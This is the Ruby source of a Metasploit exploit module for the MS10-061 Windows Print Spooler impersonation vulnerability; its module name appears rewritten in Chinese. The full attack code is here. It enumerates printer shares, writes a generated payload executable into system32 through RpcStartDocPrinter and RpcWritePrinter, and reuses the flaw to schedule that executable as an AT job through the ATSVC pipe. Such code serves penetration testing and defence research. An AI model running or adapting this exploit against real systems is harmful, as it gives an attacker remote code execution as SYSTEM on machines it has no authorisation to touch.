#ms10_061_spoolss.rb jduck #This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => '微软Print Spooler服务远程溢出漏洞', 'Description' => %q{ This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes an EXE and then (ab)uses the impersonation vulnerability a second time to create a secondary RPC connection to the \\PIPE\\ATSVC named pipe. We then proceed to create a remote AT job using a blind NetrJobAdd RPC call. }, 'Author' => [ 'jduck', # re-discovery, printer RPC stubs, module 'hdm' # ATSVC RPC proxy method ], 'License' => MSF_LICENSE, 'Version' => '$Revision:10442, 'Platform' => 'win', 'References' =>'MSB MS10-061', 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'BadChars' => "", 'DisableNops' => true, }, 'Targets' => [ [ 'Windows Universal', { } ] ], 'DisclosureDate' => 'Sep 14 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]), OptString.new('PNAME', [ false, "The printer share name to use on the target" ]), ], self.class) end def exploit connect() login_time = Time.now smb_login() print_status("Trying target #{target.name}...") handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # Try all of the printers :) printers = [] if (pname = datastore['PNAME']) printers << pname else res = self.simple.client.trans( "\\PIPE\\LANMAN", ( [0x00].pack('v') + "WrLeh\x00" + "B13BWz\x00" + [0x01, 65406].pack("vv") ) ) printers = [] lerror, lconv, lentries, lcount = res['Payload'].to_s[ res['Payload'].v['ParamOffset'], res['Payload'].v['ParamCount'] ].unpack("v4") data = res['Payload'].to_s[ res['Payload'].v['DataOffset'], res['Payload'].v['DataCount'] ] 0.upto(lentries - 1) do |i| sname,tmp = data[(i * 20) + 0, 14].split("\x00") stype = data[(i * 20) + 14, 2].unpack('v')[0] scoff = data[(i * 20) + 16, 2].unpack('v')[0] if ( lconv != 0) scoff -= lconv end scomm,tmp = data[scoff, data.length - scoff].split("\x00") # we only want printers next if stype != 1 printers << sname end end # Generate a payload EXE to execute exe = generate_payload_exe printers.each { |pr| pname = "\\\\#{rhost}\\#{pr}" print_status("Attempting to exploit MS10-061 via #{pname} ...") # Open the printer status,ph = open_printer_ex(pname) if status != 0 raise RuntimeError, ('Unable to open printer: %d' % status) end print_status("Printer handle: %s" % ph.unpack('H*')) #NOTE: fname can be anything nice to write to (cwd is system32), even directory traversal and full paths are OK. fname = rand_text_alphanumeric(14) + ".exe" write_file_contents(ph, fname, exe) # Calculate the time (in milliseconds since midnight) to run the job at. # NOTE: We use the server's time as determined during SMB negotiation, which is sent in UTC. We have to localize it before moving on, using the timezone which they also kindly sent us. server_time = simple.client.system_time.utc server_time += simple.client.system_zone # adjust to localized time job_time = seconds_since_midnight(server_time) # convert to seconds since midnight elapsed = Time.now - login_time # account for time the module took so far job_time += (elapsed.ceil + 60) # round up and add a minute for safety job_time *= 1000 # convert to milliseconds # Ugh, why does time have to be so hard to keep track of :) -jjd #print_status("Server time at login was: #{server_time}") #print_status("Our time at login was: #{login_time} (elapsed: #{elapsed})") #print_status("Using job time: #{job_time}") create_at_job(ph, job_time, fname) # ClosePrinter status,ph = close_printer(ph) if status != 0 raise RuntimeError, ('Failed to close printer: %d' % status) end break if session_created? } print_status("Everything should be set, waiting up to two minutes for a session...") handler disconnect end #Use the vuln to write a file :) def write_file_contents(ph, fname, data) doc = rand_text_alphanumeric(16+rand(16)) #StartDocPrinter status,jobid = start_doc_printer(ph, doc, fname) if status != 0 or jobid < 0 raise RuntimeError, ('Unable to start print job: %d' % status) end print_status("Job started: 0x%x" % jobid) #WritePrinter status,wrote = write_printer(ph, data) if status != 0 or wrote != data.length raise RuntimeError, ('Failed to write %d bytes!' % data.length) end print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname]) # EndDocPrinter status = end_doc_printer(ph) if status != 0 raise RuntimeError, ('Failed to end print job: %d' % status) end end #Create an AT job using the ATSVC proxied via the vulnerability def create_at_job(ph, job_time, fname) doc = rand_text_alphanumeric(16+rand(16)) at_pipe = "\\\\#{rhost}\\PIPE\\ATSVC" # StartDocPrinter status,jobid = start_doc_printer(ph, doc, at_pipe) if status != 0 or jobid < 0 raise RuntimeError, ('Unable to start printer: %d' % status) end print_status("Job started: 0x%x" % jobid) # Send a DCE RPC bind request down the connection at_bind, at_ctx = Rex::Proto::DCERPC::Packet.make_bind("1ff70682-0a51-30e8-076d-740be8cee98b", "1.0") status,wrote = write_printer(ph, at_bind) if status != 0 or wrote != at_bind.length raise RuntimeError, ('Failed to write %d bytes!' % at_bind.length) end print_status("Wrote bind request for #{at_pipe} (%d bytes)" % at_bind.length) # NetrJobAdd RPC stub at_stub = NDR.long(0) + # hostname # AT_INFO NDR.long(job_time) + # JobTime NDR.long(0) + # DaysOfMonth NDR.long(0) + # DaysOfWeek NDR.long(0x1c) + # Flags NDR.wstring(fname) # Make and write the calls to make the NetrJobAdd request at_calls = Rex::Proto::DCERPC::Packet.make_request(0x00, at_stub, 512, at_ctx, '') at_calls.each { |data| next if not data status,wrote = write_printer(ph, data) if status != 0 or wrote != data.length raise RuntimeError, ('Failed to write %d bytes!' % data.length) end print_status("Wrote %d bytes of NetrAddJob request" % data.length) } # Write an empty string to signal the end of the RPC request data = "" status,wrote = write_printer(ph, data) if status != 0 or wrote != data.length raise RuntimeError, ('Failed to write %d bytes!' % data.length) end # EndDocPrinter status = end_doc_printer(ph) if status != 0 raise RuntimeError, ('Failed to end print job: %d' % status) end end #Call RpcOpenPrinterEx def open_printer_ex(pname, machine = nil, user = nil) =begin DWORD RpcOpenPrinterEx( [in, string, unique] STRING_HANDLE pPrinterName, [out] PRINTER_HANDLE* pHandle, [in, string, unique] wchar_t* pDatatype, [in] DEVMODE_CONTAINER* pDevModeContainer, [in] DWORD AccessRequired, [in] SPLCLIENT_CONTAINER* pClientInfo ); =end #NOTE:For more information about this encoding, see the following sections of the Open Group's C706 DCE 1.1: RPC #14.3.8 Unions/14.3.10 Pointers/14.3.12.3 Algorithm for Deferral of Referents machine ||= '' machine = NDR.uwstring(machine) user ||= '' user = NDR.uwstring(user) splclient_info = NDR.long(0) + # DWORD dwSize; machine[0,4] + # [string] wchar_t* pMachineName; user[0,4] + # [string] wchar_t* pUserName; NDR.long(7600) + # DWORD dwBuildNum NDR.long(3) + # DWORD dwMajorVersion; NDR.long(0) + # DWORD dwMinorVersion; NDR.long(9) # unsigned short wProcessorArchitecture; #Add the deferred members splclient_info << machine[4, machine.length] splclient_info << user[4, user.length] splclient_info[0,4] = NDR.long(splclient_info.length) splclient_info = #union! NDR.long(1) + # discriminant (inside copy) NDR.long(rand(0xffffffff)) + splclient_info stubdata = NDR.uwstring(pname) + # pPrinterName NDR.long(0) + # DEVMODE_CONTAINER (null) NDR.long(0) + NDR.long(0) + # AccessRequired NDR.long(0x02020000) + # SPLCLIENT_CONTAINER NDR.long(1) + # Level (must be 1) # SPLCLIENT_INFO_1 splclient_info #print_status('Sending OpenPrinterEx request...') response = dcerpc.call(69, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data)) handle = dcerpc.last_response.stub_data[0,20] status = dcerpc.last_response.stub_data[20,4].unpack('V').first return [status, handle] end nil end #Call RpcStartDocPrinter def start_doc_printer(handle, dname, fname, dtype = nil) =begin typedef struct _DOC_INFO_CONTAINER { DWORD Level; [switch_is(Level)] union { [case(1)] DOC_INFO_1* pDocInfo1; } DocInfo; } DOC_INFO_CONTAINER; DWORD RpcStartDocPrinter( [in] PRINTER_HANDLE hPrinter, [in] DOC_INFO_CONTAINER* pDocInfoContainer, [out] DWORD* pJobId ); =end dname = NDR.uwstring(dname) if fname fname = NDR.uwstring(fname) else fname = NDR.long(0) end if dtype dtype = NDR.uwstring(dtype) else dtype = NDR.long(0) end doc_info = dname[0, 4] + fname[0, 4] + dtype[0, 4] # Add the deferred members doc_info << dname[4, dname.length] doc_info << fname[4, fname.length] doc_info << dtype[4, dtype.length] doc_info = # Union! NDR.long(1) + NDR.long(rand(0xffffffff)) + doc_info stubdata = handle + NDR.long(1) + doc_info #print_status('Sending StartDocPrinter request...') response = dcerpc.call(17, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data)) jobid, status = dcerpc.last_response.stub_data.unpack('VV') return [status, jobid] end nil end #Call RpcWritePrinter def write_printer(handle, data) =begin DWORD RpcWritePrinter( [in] PRINTER_HANDLE hPrinter, [in, size_is(cbBuf)] BYTE* pBuf, [in] DWORD cbBuf, [out] DWORD* pcWritten ); =end stubdata = handle + NDR.long(data.length) + # Perhaps we need a better data type for BYTE* :) data + NDR.align(data) + NDR.long(data.length) #print_status('Sending WritePrinter request...') response = dcerpc.call(19, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data)) wrote,status = dcerpc.last_response.stub_data.unpack('VV') return [status, wrote] end nil end #Call RpcEndDocPrinter def end_doc_printer(handle) =begin DWORD RpcEndDocPrinter( [in] PRINTER_HANDLE* phPrinter ); =end #print_status('Sending EndDocPrinter request...') response = dcerpc.call(23, handle) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data)) status = dcerpc.last_response.stub_data[0,4].unpack('V').first return status end nil end #Call RpcClosePrinter def close_printer(handle) =begin DWORD RpcClosePrinter( [in, out] PRINTER_HANDLE* phPrinter ); =end #print_status('Sending ClosePrinter request...') response = dcerpc.call(29, handle) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) #print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data)) handle = dcerpc.last_response.stub_data[0,20] status = dcerpc.last_response.stub_data[20,4].unpack('V').first return [status,handle] end nil end def seconds_since_midnight(time) # .tv_sec always uses .utc (time.tv_sec % 86400) # This method uses the localtime #(time.hour * 3600) + (time.min * 60) + (time.sec) end #We have to wait up to two minutes because the Task Scheduler only has minute granularity. def wfs_delay 120 end end